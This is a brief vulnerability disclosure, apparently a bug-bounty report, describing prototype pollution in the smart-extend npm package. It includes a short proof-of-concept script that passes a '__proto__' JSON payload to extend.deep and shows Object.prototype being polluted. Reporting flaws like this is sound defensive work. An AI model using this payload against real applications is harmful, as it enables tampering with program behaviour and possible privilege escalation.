Prototype pollution attack (smart-extend)

Hi team, I would like to report a prototype pollution vulnerability in smart-extend that allows an attacker to inject properties on Object.prototype.

var extend = require('smart-extend');

var payload = '{"__proto__":{"polluted":"deep_done !"}}';
var test = {};
console.log("Before: ", test.polluted);
extend.deep({},JSON.parse(payload));
console.log("After: ", test.polluted);